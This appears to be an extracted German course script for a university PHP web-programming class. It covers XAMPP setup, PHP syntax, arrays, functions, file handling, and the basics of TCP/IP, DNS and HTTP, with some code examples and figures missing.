Professional Documents
Culture Documents
Überblick
0. Vorbereitung 6
1. Einstieg in die serverseitige Programmierung 12
2. HTTP 26
3. Webapplikationen mit MySQL 42
4. Login, Sessions und Datenbank verändern 51
5. AJAX und REST 66
6. DB-Transaktionen und Apache Konfiguration 77
7. Ausblick 88
Anhänge 93
Stichwortverzeichnis 95
Ziele
Diese Lehrveranstaltung führt mehrere Themen, die im ersten Semester noch separat behandelt
wurden zusammen: Datenbanken, UNIX, Webprogrammierung mit HTML, CSS, Javascript werden
zusammen mit der Programmiersprachen PHP eingesetzt um Web-Applikationen zu bauen.
• Ich kann Webapplikationen erstellen, und habe auch schon eine kleine Applikation inklusive
Datenbank vollständig umgesetzt.
• Ich kenne die Arbeitsteilung in einem Web-Projekt und kann meinen (technischen) Teil mit
Javascript, PHP und MySQL beitragen.
• Ich kann die Qualität einer Webapplikation beurteilen: Ich kenne die REST-Prinzip, ich ken-
ne Sicherheitsprobleme und Lösungsansätze, ich kann AJAX einsetzen.
• In meinem Blog zeige ich mehrere Artikel über Aspekte einer Web-Applikation.
MMT Webprogrammierung 2 3
Inhaltsverzeichnis
0. Vorbereitung 6
0.1 Ziele dieses Kapitels 6
0.2 Was ist PHP? Was passiert am Webserver? 7
0.3 Apache 7
0.3.1 Apachefriends und XAMPP 7
0.3.2 Apache und MySQL starten 8
0.3.3 Apache als Windows-Dienst 8
0.3.4 Webserver stoppen 9
0.4 Das erste PHP-Programm 9
0.4.1 PHP Versionen 10
0.4.2 Dokumentation 11
1. Einstieg in die serverseitige Programmierung 12
1.1 Ziele 12
1.2 Syntax von PHP 12
1.2.1 HTML und PHP 12
1.2.2 Includes 15
1.2.3 Variablen und Typen 16
1.2.4 Funktionen 18
1.3 Dateien und Ordnern in PHP 19
1.3.1 Zugriffsrechte 19
1.3.2 Ordner auflisten 20
1.3.3 Datei lesen 21
1.3.4 Datei (über-)schreiben 21
1.3.5 Gleichzeitiger schreibender Zugriff 22
1.4 PHP erzeugt nicht nur HTML 22
1.4.1 PHP erzeugt CSS 22
1.4.2 PHP erzeugt Bild 23
1.4.3 PHP erzeugt Variablen für Flash 24
1.4.4 PHP erzeugt XML 24
1.4.5 PHP leitet weiter 25
2. HTTP 26
2.1 Ziele 26
2.2 TCP/IP und DNS 26
2.3 HTTP 28
2.3.1 Ablauf im Überblick 28
2.3.2 Aufbau von Request und Response 28
2.3.3 HTTP abhören 30
2.3.4 Seite laden oder Formulardaten senden mit GET 31
2.3.5 Senden von Formulardaten mit Post 32
MMT Webprogrammierung 2 4
0. Vorbereitung
Bevor dar eigentliche Unterricht startet müssen Sie Ihren Computer auf die Arbeit mit PHP und
MySQL vorbereiten.
• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Out-
put von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist.
• Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.
• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem
UNIX-Webserver wie z.B. www.users.fh-salzburg.ac.at.
Weitere Informationsquellen
Vertiefungsmöglichkeiten
Helfen Sie einem Kollegen / einer Kollegin beim installieren von XAMPP.
MMT Webprogrammierung 2 7
PHP ist eine Programmiersprache am Webserver. Sie ist im Vergleich zu anderen Programmierspra-
chen wie C++ oder Javascript recht simple in der Schreibweise und etwas altmodisch. Gerade des-
wegen eignet sie sich gut für Programmier-EinsteigerInnen. Viele bekannte open source Web-
Applikationen sind in PHP geschrieben.
Neben PHP werden viele andere Sprachen am Webserver verwendet. Da der Output dabei immer
HTML ist kann der Client nicht erkennen, welche Sprache verwendet wurde. Der Quelltext des Pro-
gramms wird nie im Browser sichtbar.
Das PHP-Programm wird gestartet um die Anfrage des Browsers zu beantworten. Nachdem diese
Aufgabe erfüllt ist, wird das PHP-Programm wieder beendet. Die Laufzeit ist also sehr, sehr kurz!
Ein sehr einfaches Beispielprogramm in PHP gibt „Hallo Welt“ aus und zeigt (mit dem Befehl phpin-
fo) viele Informationen über den Webserver und die PHP Installation an:
<html>
<body>
<?php
echo "Hallo Welt";
phpinfo();
?>
</body>
</html>
Um dieses Programm zu testen, brauchen Sie einen Browser und einen Webserver.
0.3 Apache
Apache ist ein freier Webserver. Das Apache-Projekt startete 1995 um statt NCSA Webserver, der
schon durch viele Patches verbessert wurde, einen neuen Webserver von Grund auf zu programmie-
ren. Der Name leitet sich aber noch von „a patchy webserver“ ab1.
Im Gegensatz zu anderen freien Software Projekten waren in der Apache Group von Anfang an Pro-
grammierer aus großen Firmen vertreten, und zwar im offiziellen Auftrag dieser Firmen.
Die „apachefriends“ bieten den Webserver Apache in einem Paket mit der Programmiersprache PHP
und der Datenbank MySQL für Windows an. Dieses Gesamtpaket heißt dann XAMPP. Eine sehr
freundliche Installations-Anleitung ist auch dabei.
1
http://httpd.apache.org/ABOUT_APACHE.html und http://www.apache.org/foundation/faq.html
MMT Webprogrammierung 2 8
Die Alternative zur Distribution XAMPP wäre, jeden Teil einzeln zu besorgen: Apache von
httpd.apache.org, PHP von php.net, und MySQL von MySQL.com herunter laden, die drei Pake-
te separat installieren, und dann versuchen, sie richtig zu kombinieren. Das ist viel mehr Arbeit.
Wenn die Installation von Apache und MySQL auf Windows funktioniert hat, findet man nicht – wie
bei anderen Programmen – einen Eintrag im Programm-Menü. Weder Apache noch PHP noch MySQL
haben eine grafische Oberfläche. Apache und MySQL sind „Server“, die man starten muss.
Man kann Apache und MySQL auf zwei Arten starten: als Windows-Dienst oder über das in
Abbildung 2 gezeigte XAMPP Control Panel.
Abbildung 2: XAMPP Control Panel zum Starten und Stoppen von Apache
Man findet unter SYSTEMSTEUERUNG -> VERWALTUNG -> DIENSTE eine Liste aller installierten Dienste und
kann diese starten und anhalten.
MMT Webprogrammierung 2 9
Abbildung 3: Dienste von Windows: MySQL und Apache2 sind schon gestartet
Egal wie man Apache gestartet hat: erst mit einem Browser kann man die Funktionstüchtigkeit des
Webservers wirklich testen. Als URL verwendet man
http://localhost/.
Beachten Sie, dass das Programm die richtige Dateiendung (.php) haben muss und nicht direkt im
Browser angezeigt werden kann:
Wenn Sie eine PHP-Programm in einer Datei mit der Endung .html oder .htm speichern wird es nicht
vom Webserver interpretiert, sondern direkt an den Browser gesandt. Der Browser zeigt den Code
aber nicht an, erst mit Ansicht->Quelltext kann man den Code sehen wie in Abbildung 5 gezeigt.
Wenn Sie die richtige Dateiendung verwenden (.php) und die Seite über einen Webserver betrach-
ten (z.B. http://localhost) kann immer noch ein Fehler im PHP-Programm auftreten. Die Fehler-
meldung des Interpreters wird dann im Browser angezeigt wie in Abbildung 6 gezeigt.
Zum Abschluss nun das funktionierende Programm bei einem funktionierenden Testlauf:
Mit Ansicht->Quelltext kann man nun im Browser nur noch den HTML-Code sehen, niemals aber den
PHP-Quellcode!
Der Befehl phpinfo() liefert Informationen zur PHP-Installation. In Abbildung 7 sehen Sie z.B. dass
PHP in der Version 5.0.5 installiert ist.
Zwischen den verschiedenen PHP-Versionen gibt es eklatante Unterschiede, PHP ist nicht aufwärts-
kompatibel. Wenn ihr Webspace-Vermieter auf eine neue PHP-Version umstellt, müssen Sie eventu-
ell den Code Ihres Programmes anpassen.
In der PHP-Dokumentation sind diese Unterschiede bei den einzelnen Befehlen aufgeführt, z.B. bei
der Funktion array_fill() ist in der Dokumentation angegeben:
Die Funktion existiert also seit PHP 4 Version 4.2.0 und auch in PHP 5.
MMT Webprogrammierung 2 11
Besonders im Bereich der Objektorientierung (Objekte, Klassen, etc.) gab es große Veränderungen
von PHP 4 auf PHP 5. Falls Sie objektorientiert programmieren wollen, sollten Sie auf jeden Fall PHP 5
verwenden!
Wenn Sie Webspace mieten liegt die Entscheidung aber nicht bei Ihnen: viele Webspace-Provider
bieten nur veraltete PHP-Versionen an. Das sollten Sie auf jeden Fall klären bevor Sie den Mietver-
trag abschließen!
0.4.2 Dokumentation
Hilfreich sind auch die Kommentare der UserInnen am Ende jeder Doku-Seite. Hier finden Sie oft
Erklärungen zu einzelnen Features, die in der Dokumentation ‚vergessen’ wurden, oder Anwen-
dungsbeispiele:
Die Dokumentation kann man auch herunterladen und lokal installieren, dann enthält sie aber nicht
die Kommentare.
MMT Webprogrammierung 2 12
1.1 Ziele
• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Out-
put von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist.
• Dass es sehr viele Programmiersprache gibt die alternativ zu PHP am Webserver verwendet
werden können.
• Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.
• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem
UNIX-Webserver wie z.B. student.cosy.sbg.ac.at.
Weitere Informationsquellen
• Smarty http://smarty.php.net/
Vertiefungsmöglichkeiten
Installieren Sie Smarty und lösen Sie die Übungsaufgaben alternativ mit Smarty.
Ein erstes längeres Beispiel zeigt wie eng HTML und PHP vermischt werden:
MMT Webprogrammierung 2 13
Der Quellcode besteht hier aus einem HTML-Dokument, in dem in Zeile 09 bis 19 PHP eingebettet ist.
In den Zeilen 10 bis 14 werden nur Berechnungen durchgeführt, diese Zeilen haben keine Auswir-
kung auf das resultierende HTML-Dokument. In den Zeile 15 und 17 wird mit der echo() – Funktion
ein Output erstellt. Der PHP-Interpreter fügt diesen Output an der Stelle ein, wo der PHP-Code war;
das Ergebnis sieht wie folgt aus:
Welcher Teil des Dokuments statisch war und welcher von PHP berechnet wurde ist für den Browser
nicht erkennbar.
Ein PHP-Dokument kann mehrere Einbettungen enthalten, dabei können sogar Kontrollstrukturen in
einem anderen Teil fortgesetzt werden:
MMT Webprogrammierung 2 14
<?php
$i = 0;
while ( $i < 22 ) {
?>
<?php
$i++;
}
?>
Diese Schreibweise widerspricht den Lese-Gewohnheiten von ProgrammiererInnen: diese Art von
Verschachtelung ist in den meisten Sprachen verboten.
In PHP wird diese Schreibweise oft verwendet, es gibt aber eine alternative Schreibweise für die Kon-
trollstrukturen, die besser zu unseren Lesegewohnheiten passt: Statt der öffnenden geschwungenen
Klammer wird ein Doppelpunkt geschrieben, das Ende der Schleife wird mit einem eigenen Schlüs-
selwort (endwhile, endif, endfor) markiert:
<h1>Wilde Mischung</h1>
<?php
$i = 0;
while ( $i < 22 ) :
?>
<?php
$i++;
endwhile;
?>
Bei größeren Projekten empfehle ich aber auf jeden Fall die Trennung von Programm-Logik und Dar-
stellung und die Verwendung von Templates wie z.B. Smarty. Der erste Schritt in diese Richtung wäre,
die Berechnung an den Anfang der Datei zu stellen.
Welcher Teil schon als Ausgabe zählt und in das HTML-Dokument eingebettet wird ist dabei wieder
eine Abwägungsfrage, auf die es keine fixe Antwort gibt.
MMT Webprogrammierung 2 15
<?php
echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>";
if( $kmh > 130 ) {
echo("<p><b>Das ist zu schnell!</b></p>");
}
?>
</body>
</html>
1.2.2 Includes
Bei PHP-Applikationen mit mehr als einer Datei empfiehlt sich die Verwendung von include um Dupli-
zierung von Code zu verhindern. PHP-Code der mehrmals verwendet wird kann als Funktionen in
eine Datei phpfunctions.php ausgelagert werden:
<?php
?>
Der Anfang und das Ende der HTML-Datei (inklusive Titel, Navigation, Headline) können in Dateien
header.php und footer.php ausgelagert werden. Im Header wird PHP (statt statischem HTML) ver-
wendet, um den Titel der Seite und später eventuell die Navigation dynamisch generieren zu können:
MMT Webprogrammierung 2 16
Wenn diese Seite direkt aufgerufen wird (http://www.meinhost.at/header.php) erscheint der HTML-
Code. Da die Variable $pagetitle nicht gesetzt ist (undefined) wir sie behandelt als ob sie den leeren
String enthält: die Überschrift ist leer.
Der Footer könnte auch eine statische HTML-Datei sein, da hier keine Variablen oder PHP-Code ver-
wendet warden:
<?php
include "phpfunctions.php"; // kein Output, nur Definitionen von Funktionen!
$entfernung = 296;
$h = 2;
$min = 40;
include "footer.php"
?>
Und wieder gilt: die „Zusammensetzung“ erfolgt am Server. Im Client landet nur der fertige HTML-
Code. Die UserIn kann nicht erkennen, dass die Seite ursprünglich aus mehreren Dateien bestand.
Variablennamen in PHP beginnen mit einem Dollar-Zeichen. Warum? Sie haben im Beispielprogramm
schon gesehen, wie Variablen einfach in Strings eingebettet werden können:
MMT Webprogrammierung 2 17
Das ist nur möglich weil die Variablennamen mit einem besonderen Zeichen gekennzeichnet sind. Es
gibt in PHP eine zweite Schreibweise für Strings die keine Variablen erlaubt:
Variablen in PHP müssen nicht deklariert oder initialisiert werden. PHP unterscheidet zwischen den
Datentypen boolean, integer, float, string, array, object, resource und NULL. In einer Variable
können nacheinander verschiedene Datentypen gespeichert werden, die Variable selbst hat also
keinen Typ! Je nach verwendeten Operatoren und Funktionen werden die Typen konvertiert:
<?php
$foo = "0"; // $foo is a string with one character (ASCII 48)
$foo += 2; // $foo is now an integer (2)
$foo = $foo + 1.3; // $foo is now a float (3.3)
$bar = 5 + "10 Little Piggies"; // $bar is an integer (15)
$baz = 5 . "10 Small Pigs"; // $baz is a longer string "510 Small Pigs"
?>
Die Addition mit + interpretiert beide Summanden als Zahl. Falls ein Summand ein String ist, wird am
Beginn des Strings nach einer Zahl gesucht und diese verwendet. Der Punkt-Operator fügt Strings
zusammen und interpretiert seine beiden Operanden als Strings.
Arrays in PHP können auf ähnliche Art verwendet werden wie in C++ (und C, und Java, und Perl,…)
und verhalten sich auf den ersten Blick auch wie erwartet:
$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";
for($i=0;$i<count($foo);$i++) {
echo("Der $i. Wert im Array ist $foo[$i]<br />");
}
Auf den zweiten Blick sind Arrays in PHP aber wesentlich komplexer: nicht nur Integers sind als Index
zulässig, sondern auch Strings, es handelt sich also um assoziative Arrays in denen ein Schlüssel mit
einem Wert assoziiert wird.
Mit der foreach Schleife kann man Schlüssel und Wert auslesen. Dabei wird offenbar, dass die Rei-
henfolge des Einfügens ins Array erhalten geblieben ist: Die Schlüssel-Wert-Paare sind im Array wei-
terhin geordnet!
MMT Webprogrammierung 2 18
$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";
Mit der Schreibweise $foo[] kann ein Wert unter der kleinsten (noch nicht verwendet) Integer-Zahl
als Schlüssel gespeichert werden:
$foo[2] = 2008;
$foo[3] = 2009;
$foo[0] = "Halli";
$foo[1] = "Hallo";
$foo['dies'] = "etwas Nahes";
$foo['das'] = "etwas Fernes";
$foo[] = "das Nächste";
Das Array in PHP ist also ein wesentlich komplexerer Datentyp als ein Array in anderen Programmier-
sprachen – es verbindet Eigenschaften von Arrays mit denen von assoziativen Arrays. Ein Array zu
sortieren ist entsprechend kompliziert; es gibt eine ganze Reihe von Sortier-Funktionen. Sie finden
diese im Abschnitt „Array-Funktionen“ der PHP-Doku.
1.2.4 Funktionen
function foo($arg_1, $arg_2 = "Euro")
{
$a = 1 * 2;
return $a . $arg_2;
}
$x = foo(10);
$y = foo(20, "Pfund");
Die Schreibweise von Funktionen inklusive Argumentliste und Rückgabewert ist leicht verständlich.
Eine Falle für erfahrene ProgrammiererInnen ist das Scoping von globalen Variablen:
$pi = 3.141;
function inhalt($radius)
{
return $radius * $radius * $pi;
}
$r = 10;
$a = inhalt($r);
Dieses Programm funktioniert nicht wie erwartet, da innerhalb einer Funktion kein Zugriff auf die
außerhalb definierten Variablen möglich ist! Die Variable $pi ist in der Funktion nicht sichtbar, statt-
dessen wird mit einer neuen Variable $pi mit Default-Wert 0 gerechnet.
Mit dem Keyword global wird die Variable „in die Funktion eingeladen“ und ist dann auch innerhalb
der Funktion sichtbar, lesbar und veränderbar.
MMT Webprogrammierung 2 19
$pi = 3.141;
function inhalt($radius)
{
global $pi;
return $radius * $radius * $pi;
}
$r = 10;
$a = inhalt($r);
Ausgenommen von dieser Regelung sind die sogenannten „superglobals“. Das sind Variablen, die auf
jeden Fall sichtbar sind. Vier davon werden hier vorgestellt, die anderen werden erst später behan-
delt.
$_ENV Dieses Array enthält die Umgebungsvariablen (je nach Betriebssystem verschie-
den).
$_GET Die Parameter die über die URL an das PHP-Programm übergeben wurden.
In diesem Kapitel wird beschreiben, wie PHP mit Dateien und Ordnern arbeiten kann und welche
Web-spezifischen Probleme dabei auftreten.
1.3.1 Zugriffsrechte
Achtung: Auf einem UNIX-Webserver läuft das PHP-Programm unter dem Account des Webservers,
nicht unter Ihrem Account! Dies wird relevant, sobald ein PHP-Programm eine andere Datei lesen
oder (über-)schreiben soll.
Beim Upload der Dateien auf den Webserver mit einem FTP oder SFTP Programm sollten Sie auch die
Möglichkeit haben, die Zugriffsrechte anzusehen bzw. zu verändern. Abbildung 10 zeigt links die Dar-
stellung der Zugriffsrechte in der Shell, rechts das Verändern der Zugriffsrechte mit Dreamweaver.
MMT Webprogrammierung 2 20
Eine kurze Wiederholung der UNIX-Zugriffsrechte: Es gibt drei Rechte (Lesen, Schreiben, Ausführen)
und drei Gruppen von Usern die unterschieden werden (Eigentümer, Gruppe, Andere). Im Terminal
werden diese Rechte als Buchstaben angezeigt: r steht für Lesen, w für Schreiben, x für Ausführen.
Das PHP-Programm läuft nicht unter Ihrem Account, sondern unter dem Account des Webservers.
D.h. für das PHP-Programm gelten die Zugriffsrechte „für Alle“.
Mit den PHP-Funktionen is_readable() und is_writable() können Sie testen, ob das Programm
Lese- bzw. Schreibrechte auf eine bestimmte Datei hat.
Um herauszufinden, welche Dateien (und Unter-Ordner) sich in einem Ordner befinden, verwendet
man die Funktion glob. (Achtung: die Funktionen opendir, readdir, closedir gibt es auch, die sind
aber komplizierter zu verwenden)
<?php
$alle = glob("*");
foreach( $alle as $file ) { // forach-Schleife über Werte, Schlüssel ignorieren!
echo "<br>Datei $file gefunden.\n";
}
?>
Im Output des Programmes werden nicht nur Dateien angezeigt, sondern auch Ordner. Mit den
Funktionen is_dir() und is_file() könnte man herausfinden ob ein Ordner oder eine Datei vor-
liegt.
Die Funktion glob kann — ähnlich wie das DOS-Kommand dir oder das UNIX-Kommando ls —mit
verschiedenen Mustern suchen:
MMT Webprogrammierung 2 21
<?php
$alle = glob("*.jpg");
foreach( $alle as $file ) {
echo "<br>Bild $file gefunden.\n";
}
?>
Der Rückgabewert von glob ist ein Array. Mit array_merge kann man mehrere Arrays zusammenfü-
gen zu einem langen Array und mit asort die Werte alphabethisch sortieren:
$jpg = glob("bilder/*.jpg");
$gif = glob("bilder/*.gif");
$alle_bilder = array_merge($jpg, $gif);
asort( $alle_bilder )
Um eine Datei von PHP aus zu benutzen, muss man sie mit der Funktion fopen öffnen. Man erhält
einen „handle“ mit dem man sich im Weiteren auf diese Datei bezeihen kann.
Achtung: die Pfadangabe zur Datei ist in UNIX-Schreibweise mit Slash zu schreiben, nicht in Windows-
Schreibweise mit Backslash, also:
Da die Datei zum Lesen geöffnet wurde, kann man nun mit fgets eine Zeile aus der Datei lesen. „Ei-
ne Zeile“ bedeutet hier: bis ein Zeilenumbruch in der Datei gefunden wird.
$zahl = fgets($handle);
Bei längeren Dateien wird fgets meist in einer Schleife verwendet, um alle Zeilen aus der Datei zu
lesen. Nach Gebrauch muss man die Datei wieder schließen:
fclose($handle);
Beim Schreiben wird als zweites Argument von fopen der Buchstabe „w“ übergeben:
Leider ist das Leben aber nicht so einfach: sowohl beim Lesen als auch beim Schreiben von Dateien
kann viel schief gehen. Existiert die Datei, aus der ich lesen will, überhaupt? Darf ich in die Datei, in
die ich schreiben will überhaupt schreiben? Um diese Fragen zu beantworten gibt es Funktionen
is_readable, is_writable und die Rückgabewerte der verschiedenen schon gezeigten File-
Funktionen. So liefert fwrite entweder die Anzahl der geschriebenen Bytes oder FALSE als Status-
Code zurück:
MMT Webprogrammierung 2 22
Bevor Sie beginnen mit PHP Dateien zu (über-)schreiben, zu löschen oder zu verschieben ein Warn-
hinweis: Es wird ernst. Hier gibt es keinen Papierkorb. Wenn Ihr PHP-Programm eine Datei löscht,
dann ist diese Datei sofort und unwiederbringlich weg.
Achtung: was passiert wenn zwei Zugriffe genau gleichzeitig erfolgen? Zwei Apache-Prozesse führen
jeweils das PHP-Programm aus und versuchen, in die gleiche Datei zu schreiben! Diese Problem exis-
tiert, wir werden es aber erst mal ignorieren.
Ein PHP-Programm gibt normalerweise HTML aus. Entsprechend liefert der PHP-Interpreter einen
http-Header „Content-Type: text/html“. Mit dem Befehl header() kann dies verändert werden.
<html>
<head>
<link rel="stylesheet" href="style.php" />
</head>
<body>
<h1>Überschrift</h1>
<p>text text text</p>
</body>
</html>
Ein Stylesheet, das von PHP aus erzeugt wird, hat den Vorteil, dass man Variablen verwenden kann,
z.B. für die Definition von Farben, die mehrmals im Stylesheet verwendet werden sollen. In folgen-
dem Beispiel wird einfach das ganze Stylesheet mit einem echo ausgegeben:
<?php
$blau = "rgb(0,0,255)";
echo "
body { padding: 3em; }
h1 { color: $blau; }
.box {
background-color: $blau;
}
";
?>
Für mehrzeilige Strings gibt es in PHP eine alternative Schreibweise, die hier sehr praktisch wäre:
MMT Webprogrammierung 2 23
<?php
$blau = "rgb(0,0,255)";
echo <<<ENDE
body { padding: 3em; }
h1 { color: $blau; }
.box {
background-color: $blau;
}
ENDE;
?>
Das PHP-Programm kann auch Bilddaten ausgeben, diese können dann auf die bekannten Arten im
Web verwendet werden:
<html>
<head>
<style>
body {
margin-left: 120px;
background-image: url(drawbackground.php);
background-repeat: repeat-y;
}
</style>
</head>
<body>
<h1>Zufalls-Hintergrund</h1>
<p>Das verwendete Hintergrundbild wurde von PHP erzeugt:</p>
<p><img src="drawbackground.php" />
</body>
</html>
Welches Bildformat verwendet wird (jpg, gif, png, …) wird wieder über den http-Header Content-
Type angekündigt. Die Befehle zur Bild-Erzeugung in Manipulation sind unter dem Stichwort „Image
Funktions“ in der PHP-Doku zu finden.
MMT Webprogrammierung 2 24
imagefill($im, 0, 0, $background_color);
$y=0;
while( $y < 100 ) {
$x = rand(0,$max);
imageline($im, 0, $y, $x, $y, $drawing_color);
$y=$y+2;
}
Wenn PHP als „Backend“ für Flash verwendet wird kommt eine sehr einfache Form
der Ausgabe zum Einsatz: die Variablennamen und Werte werden wie für eine URL
encodiert und ausgegeben. So könnte der Output eines Counters so aussehen:
count=25856&date=2.Mai+2008&time=10:15
Unter dem Stichwort „URL Funktionen“ finden Sie in der PHP-Doku die Funktion
http_build_query() die hier weiterhilft.
Bei der Zusammenarbeit mit Flash kommt auch XML zum Einsatz. Dies ist notwendig wenn komplexe
Datenstrukturen übertragen werden sollen. Für eine Flash-Bildergalerie, die alle Bild-Dateien am
Server darstellen soll, muss man zum Beispiel die Liste der Bilder übertragen:
<bilder>
<bild imageurl="img/DSC_3461.jpg" />
<bild imageurl="img/DSC_3462.jpg" />
</bilder>
<?php
header("Content-Type: application/xml");
$bilder = glob("*.jpg");
echo("<bilder>\n");
foreach( $bilder as $bild ) {
echo("<bild imgurl='$bild' />\n");
}
echo("</bilder>\n");
?>
Ein PHP-Programm kann den Browser zu einer anderen URL weiterleiten. So kann zum Beispiel die
Verarbeitung einer Bestellung (im ersten PHP-Programm) von der Darstellung des Bestellstatus (im
zweiten PHP-Programm) getrennt werden:
<?php
// hier passieren wichtige Dinge ...
header("Location: status.php");
exit; /* fertig, nichts weiter ausgeben! */
?>
MMT Webprogrammierung 2 26
2. HTTP
Der Datenaustausch zwischen Web-Formular und PHP-Programm mit den Methoden GET und POST
wird vorgestellt.
2.1 Ziele
• Wie http-Request und http-Response prinzipiell aufgebaut sind, dass GET und POST die wich-
tigsten Methden des REquest sind, dass 200 und 404 die wichtigsten Status-Codes des
Responds sind
• Wie Sie mit der PHP-Funktion header() in das HTTP-Protokoll eingreifen können.
• Dass die URL eines PHP-Programms eine öffentliche Schnittstelle ist: fremde Menschen wer-
den mit böse Absicht verschiedene Parameter ausprobieren! Fremde Menschen werden in
guter Absicht unerwartete Parameter eingeben um neue, nicht bedachte Funktionen zu er-
zielen.
• Dass die Parameter über die superglobalen Arrays $_GET, $_POST (und $_REQUEST) im PHP-
Programm zur Verfügung stehen.
• Mit dem Firefox-AddOn Live http Headers oder mit Firebug HTTP abhören.
• In einem PHP-Programm Daten von einem Web-Formular entgegen nehmen und prüfen be-
vor sie weiter verarbeitet werden.
• Ein Webformular so gestalten, dass „richtige“ Eingaben erhalten bleiben wenn Fehlermel-
dungen angezeigt werden
Um das Protokoll des Web zu verstehen erst ein paar Grundsätzliche Informationen zur Funktions-
weise des Internet. Genaueres im 3.Semester, in der Lehrveranstaltung „Multimediale Netwerke &
IT Sicherheit“.
Das Internet ist ein weltweites Computernetzwerk, oder besser: ein Netzwerk von Netzwerken. Es
sind verschiedene Computer daran angeschlossen: PCs mit Betriebssystem Windows oder Linux,
MMT Webprogrammierung 2 27
Macs, UNIX-Workstations, und noch viele mehr. Die einzelnen Netze sind sehr unterschiedlich: Kup-
ferleitungen, Glasfaserleitungen, Satelliten-Verbindungen, Ethernet, Funkstrecken. Die Besitz-
verhältnisse sind kompliziert: die Leitungen und Computer gehören verschiedenen Firmen, Universi-
täten, Schulen, Vereinen, Privatpersonen.
Was hält das Internet dann zusammen? Das Internet Protokoll. Aufbauend auf die Grund-Netze (z.B.
Ethernet) muss jeder Computer am Internet (genannt „Host“) diese Protokoll-Familie implementie-
ren. Zwischen den Netzen vermitteln Router die Pakete von einem Netz zum nächsten.
IP-Adressen: Die eindeutigen Adressen für Hosts am Internet werden zentral verwaltet. Die Internet
Assigned Numbers Authority (IANA) hat diese Aufgabe an Organisationen auf den verschiedenen
Kontinenten verteilt, in Europa an aas Réseaux IP Européens Network Coordination Centre (RIPE
NCC). RIPE vergibt die Adressen an die Internet-Provider in Europa. In der Whois-Datenbank2 von
RIPE kann man die „Besitzer“ von IP-Adressen herausfinden.
IP – das Internetprotokoll: Der Host teilt die zu sendenden Daten in einzelne Pakete und versieht
jedes Pakt mit der Absender- und Zieladresse (IP-Adressen, 4 Byte). Der Host selbst kennt nur sein
Standard-Gateway (= der nächste Router) und das eigene Netzwerk. Über das eigene Netzwerk
schickt er das Paket an das Standard-Gateway. Der Router nimmt das Paket auf dem einen Netzwerk
entgegen und entscheidet auf Grund der Adressen auf welchem Netzwerk und an welchen Router er
das Paket weiterleitet. Beim Ziel-Host langen die Pakete ein – es gibt aber keine Garantie, dass alle
ankommen oder dass sie in der richtigen Reihenfolge ankommen.
TCP - Transmission Control Protocol: TCP bietet zusätzlich zur Datenübertragung die Sicherheit, dass
Pakete nicht unterkannt verloren gehen und dass sie – falls sie ankommen – in der richtigen Reihen-
folge ankommen. Dazu wird der Datenstrom wieder in IP-Pakete zerlegt, diese werden aber numme-
riert bevor sie abgesendet werden. Die Adressierung erfolgt über IP-Adresse plus Port-Nummer. Der
Ziel-Host prüft die Reihenfolge der Pakete und meldet zurück falls Pakete fehlen. Aus Programmier-
Sicht erhält man also entweder die Daten in richtiger Reihenfolge oder eine Fehlermeldung.
DNS – Domain Name System: Das Domain Name System ist eine verteilte Datenbank die „hübsche
Namen“ für Hosts speichert. Z.B. ist dort zu multimediatechnology.at die IP-Adresse 193.170.119.79
gespeichert. Viele Namen verweisen übrigens auf die gleiche IP-Adresse. Auf jedem Host ist die IP-
Adresse des nächsten Domain Name Servers gespeichert. So kann der Host einen „domain name
lookup“ machen: er fragt seinen DNS-Server „was ist die IP-Adresse von x.y.z“ und erhält als Antwort
die IP-Adresse. Der DNS-Server übernimmt dabei die Arbeit eventuell bei mehreren anderen DNS-
Servern nachzufragen. Auch die Top-Level-Domains (.com, .at, .de, …) werden von IANA verwaltet
und können über Whois abgefragt werden. Für die Domain .at ist die Firma nic.at zuständig.
2
http://www.db.ripe.net/whois
MMT Webprogrammierung 2 28
2.3 HTTP
HTTP ist in RFC 2616 definiert. HTTP baut auf TCP auf, d.h. die hier dargestellten Daten werden über
eine TCP-Verbindung zwischen Client und Server übertragen. Im ersten Semester wurde HTTP schon
einmal grob vorgestellt; nun werden wir HTTP genauer betrachten.
Egal ob der Vorgang durch das Eintippen einer URL oder durch das Anklicken eines Links gestartet
wird — das Laden einer Webseite über HTTP funktioniert immer gleich.
1. Der Browser analysiert die URL: falls Sie eine IP-Adresse enthält geht’s weiter zum nächsten
Schritt. Falls sie einen Domain Namen enthält wird dieser mittels DNS-Lookup in die entspre-
chende IP-Adresse übersetzt.
2. Der Browser baut eine TCP-Verbindung zum Server auf (Default: Port 80)
3. Der Browser sendet über die TCP-Verbindung einen HTTP-Request; dieser besteht aus einer ers-
ten Zeile, einem Header und manchmal einem Body.
4. Der Webserver nimmt den Request entgegen und analysiert ihn. Meistens interpretiert er ihn als
Aufforderung, eine bestimmte Datei aus dem Dateisystem zu lesen.
5. Der Webserver schickt über die TCP-Verbindung einen HTTP-Response an den Browser, dieser
besteht aus einem Statuscode, z. B. „200 OK\n\n“, einem Header und dem Inhalt des angeforder-
ten Dokuments.
6. Der Browser nimmt das Dokument in Empfang, stellt es geeignet dar, und beendet die TCP-
Verbindung.
Dieser einfache Ablauf kann durch die Verwendung von Proxies und Caches sowie durch das wieder-
holte Abrufen von Dokumenten vom selben Server komplizierter werden — das ignorieren wir aber
erst einmal.
Jede Anfrage des Clients und jede Antwort des Servers besteht aus einer ersten Zeile mit besonderer
Bedeutung, einem Header und einem Body. Header und Body funktionieren ähnlich wie bei einer E-
Mail:
Die erste Zeile einer Client-Anfrage besteht aus: Methode, URL-Fragement und HTTP-
Versionsnummer. Die meist-verwendete Methode ist GET. Sie erinnern sich an das erste Semester:
bei Web-Formularen muss man die Methode angeben, mit der die Daten an den Server übertragen
werden sollen. Das ist diese Methode.
Die erste Zeile der Server-Antwort besteht aus der HTTP-Versionsnummer, dem Statuscode und
einem erklärenden Text zum Statuscode, der aber nicht standardisiert ist.
